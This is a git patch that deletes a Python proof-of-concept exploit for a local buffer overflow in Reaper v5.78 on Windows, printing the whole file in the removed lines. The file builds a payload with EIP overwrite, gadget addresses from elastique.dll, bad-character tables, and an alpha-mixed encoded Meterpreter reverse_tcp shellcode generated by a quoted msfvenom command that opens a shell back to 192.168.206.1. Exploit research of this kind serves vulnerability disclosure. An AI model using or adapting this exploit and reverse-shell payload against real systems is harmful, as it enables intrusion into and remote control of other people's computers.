From e955dd72060efdae7f8159c70e30def7ea6dd276 Mon Sep 17 00:00:00 2001
From: Paolo 'VoidSec' Stagno <voidsec@voidsec.com>
Date: Tue, 21 Apr 2020 17:35:24 +0200
Subject: [PATCH] update

---
 .../local/Reaper_v.5.78/Reaper_v.5.78_v2.py   | 128 ------------------
 1 file changed, 128 deletions(-)
 delete mode 100644 windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py

diff --git a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
deleted file mode 100644
index 68c810a..0000000
--- a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
+++ /dev/null
@@ -1,128 +0,0 @@
-"""
-Full title:         Reaper v.5.78 Local Buffer Overflow
-Exploit Author:     Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
-Vendor Homepage:    https://www.reaper.fm/
-Version:            Reaper v.5.78
-Tested on:          Windows 10 x64 Pro v.10.0.18363 Build 18363
-Category:           local exploits
-Platform:           windows
-Usage:              Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt"
-"""
-#!/usr/bin/python
-import struct
-
-poc=open("Reaper_5.78_exploit.txt", "w")
-
-total_size=2000
-# |                                             (1036)                            |
-# |                         (465)                           |
-# | garbage (37) | ESP-0x4264 (12); JMP ESP (4) | filler () | EIP (4) | filler () | shellcode () | filler () |
-offset_eip=465
-offset_shellcode=1036
-buf = ""
-buf += "A"*37                               # garbage
-# sub esp, 0x4264 -> \x81\xec\x64\x42\x00\x00 has nullbytes
-# sub esp, -0x4264 -> \x81\xec\x9c\xbd\xff\xff has characters that will be translated
-# 0x76446c2c (b+0x00006c2c)  : 0x2132 | asciiprint,ascii {PAGE_EXECUTE_READ} [windows.storage.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v10.0.18362.1 (C:\Windows\System32\windows.storage.dll)
-# sub esp, [0x76446c2c] -> \x2b\x25\x2c\x6c\x44\x76
-# 0x0642355a : 0x4264 | ascii {PAGE_READWRITE}
-# sub esp, [0x0642355a] -> \x2b\x25\x5a\x35\x42\x06
-buf += "\x2b\x25\x5a\x35\x42\x06"           # ESP - 0x4264
-# 0x10042e5a : push esp # ret  | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
-buf += struct.pack("<I",0x10042e5a)         # push esp # ret
-buf += "B"*(offset_eip-len(buf))            # filler
-# must chose a pointer withouth bad chars and  in the good-chars range
-# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
-buf += struct.pack("<I",0x1003111b)         # EIP
-# 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760 
-buf += "C"*(offset_shellcode-len(buf))      # filler
-# shellcode (max length 760)
-# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest 
-# length= 620
-buf += b"\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
-buf += b"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
-buf += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
-buf += b"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
-buf += b"\x6b\x4c\x69\x78\x4c\x42\x75\x50\x37\x70\x67\x70\x43"
-buf += b"\x50\x6e\x69\x59\x75\x45\x61\x6b\x70\x42\x44\x4c\x4b"
-buf += b"\x32\x70\x70\x30\x6e\x6b\x30\x52\x66\x6c\x6e\x6b\x36"
-buf += b"\x32\x64\x54\x6c\x4b\x32\x52\x54\x68\x64\x4f\x4c\x77"
-buf += b"\x63\x7a\x55\x76\x50\x31\x39\x6f\x4e\x4c\x45\x6c\x31"
-buf += b"\x71\x51\x6c\x54\x42\x46\x4c\x55\x70\x4b\x71\x68\x4f"
-buf += b"\x66\x6d\x76\x61\x79\x57\x59\x72\x6c\x32\x76\x32\x51"
-buf += b"\x47\x4e\x6b\x53\x62\x64\x50\x4e\x6b\x73\x7a\x35\x6c"
-buf += b"\x6c\x4b\x62\x6c\x34\x51\x64\x38\x4d\x33\x62\x68\x47"
-buf += b"\x71\x4a\x71\x36\x31\x6e\x6b\x56\x39\x61\x30\x47\x71"
-buf += b"\x69\x43\x6e\x6b\x30\x49\x62\x38\x6a\x43\x76\x5a\x32"
-buf += b"\x69\x4e\x6b\x35\x64\x4c\x4b\x63\x31\x38\x56\x56\x51"
-buf += b"\x69\x6f\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x73\x31\x4f"
-buf += b"\x37\x64\x78\x6b\x50\x61\x65\x68\x76\x56\x63\x43\x4d"
-buf += b"\x6b\x48\x55\x6b\x31\x6d\x76\x44\x62\x55\x78\x64\x36"
-buf += b"\x38\x6c\x4b\x30\x58\x51\x34\x47\x71\x58\x53\x73\x56"
-buf += b"\x6e\x6b\x66\x6c\x52\x6b\x4e\x6b\x36\x38\x65\x4c\x43"
-buf += b"\x31\x6e\x33\x4c\x4b\x34\x44\x4e\x6b\x56\x61\x48\x50"
-buf += b"\x4f\x79\x77\x34\x66\x44\x46\x44\x61\x4b\x73\x6b\x65"
-buf += b"\x31\x53\x69\x63\x6a\x43\x61\x79\x6f\x4d\x30\x43\x6f"
-buf += b"\x71\x4f\x61\x4a\x6e\x6b\x56\x72\x78\x6b\x6e\x6d\x51"
-buf += b"\x4d\x73\x58\x56\x53\x30\x32\x37\x70\x77\x70\x53\x58"
-buf += b"\x33\x47\x74\x33\x36\x52\x61\x4f\x51\x44\x45\x38\x62"
-buf += b"\x6c\x73\x47\x75\x76\x55\x57\x4e\x69\x49\x78\x79\x6f"
-buf += b"\x7a\x70\x38\x38\x4a\x30\x65\x51\x75\x50\x45\x50\x47"
-buf += b"\x59\x69\x54\x56\x34\x46\x30\x62\x48\x64\x69\x6b\x30"
-buf += b"\x32\x4b\x75\x50\x79\x6f\x59\x45\x51\x7a\x74\x4a\x53"
-buf += b"\x58\x4b\x70\x6e\x48\x7a\x6e\x66\x61\x32\x48\x46\x62"
-buf += b"\x65\x50\x47\x61\x53\x6c\x6c\x49\x58\x66\x52\x70\x72"
-buf += b"\x70\x32\x70\x72\x70\x73\x70\x42\x70\x73\x70\x32\x70"
-buf += b"\x33\x58\x59\x7a\x44\x4f\x69\x4f\x59\x70\x39\x6f\x6e"
-buf += b"\x35\x4f\x67\x61\x7a\x66\x70\x62\x76\x33\x67\x32\x48"
-buf += b"\x4d\x49\x6c\x65\x71\x64\x30\x61\x79\x6f\x7a\x75\x4f"
-buf += b"\x75\x69\x50\x42\x54\x54\x4c\x59\x6f\x52\x6e\x63\x38"
-buf += b"\x30\x75\x58\x6c\x35\x38\x48\x70\x78\x35\x6d\x72\x32"
-buf += b"\x76\x6b\x4f\x7a\x75\x70\x6a\x37\x70\x30\x6a\x65\x54"
-buf += b"\x30\x56\x72\x77\x32\x48\x56\x62\x49\x49\x7a\x68\x61"
-buf += b"\x4f\x59\x6f\x5a\x75\x6c\x4b\x47\x46\x31\x7a\x37\x30"
-buf += b"\x52\x48\x37\x70\x76\x70\x63\x30\x47\x70\x51\x46\x53"
-buf += b"\x5a\x37\x70\x53\x58\x43\x68\x4d\x74\x71\x43\x4d\x35"
-buf += b"\x59\x6f\x4e\x35\x4a\x33\x56\x33\x33\x5a\x67\x70\x61"
-buf += b"\x46\x70\x53\x53\x67\x31\x78\x53\x32\x4e\x39\x39\x58"
-buf += b"\x33\x6f\x79\x6f\x49\x45\x67\x71\x69\x53\x45\x79\x7a"
-buf += b"\x66\x43\x45\x58\x6e\x38\x43\x41\x41"
-# ------ shellcode ------
-buf += "D"*(total_size-len(buf))      # filler
-# good chars
-""" 
-    \x01\x02\x03\x04\x05\x06\x07\x08\x09    \x0b\x0c    \x0e\x0f
-\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
-\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f
-\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f
-\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f
-\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f
-\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f
-\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e
-"""
-# known badchars: \x00\x0a\x0d\x7f 
-# everything above 0x80 got translated as follows
-"""
-,-----------------------------------------------.
-| Comparison results:                           |
-|-----------------------------------------------|
-|80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
-|e2 82 ac c2 81 e2 80 9a c6 92 e2 80 9e e2 80 a6| Memory
-|90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
-|e2 80 a0 e2 80 a1 cb 86 e2 80 b0 c5 a0 e2 80 b9| Memory
-|a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
-|c2 a0 c2 a1 c2 a2 c2 a3 c2 a4 c2 a5 c2 a6 c2 a7| Memory
-|b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
-|c2 a8 c2 a9 c2 aa c2 ab c2 ac c2 ad c2 ae c2 af| Memory
-|c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
-|c3 80 c3 81 c3 82 c3 83 c3 84 c3 85 c3 86 c3 87| Memory
-|d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
-|c3 88 c3 89 c3 8a c3 8b c3 8c c3 8d c3 8e c3 8f| Memory
-|e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
-|c3 a0 c3 a1 c3 a2 c3 a3 c3 a4 c3 a5 c3 a6 c3 a7| Memory
-|f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
-|c3 a8 c3 a9 c3 aa c3 ab c3 ac c3 ad c3 ae c3 af| Memory
-`-----------------------------------------------'
-"""
-poc.write(buf)
-poc.close()
\ No newline at end of file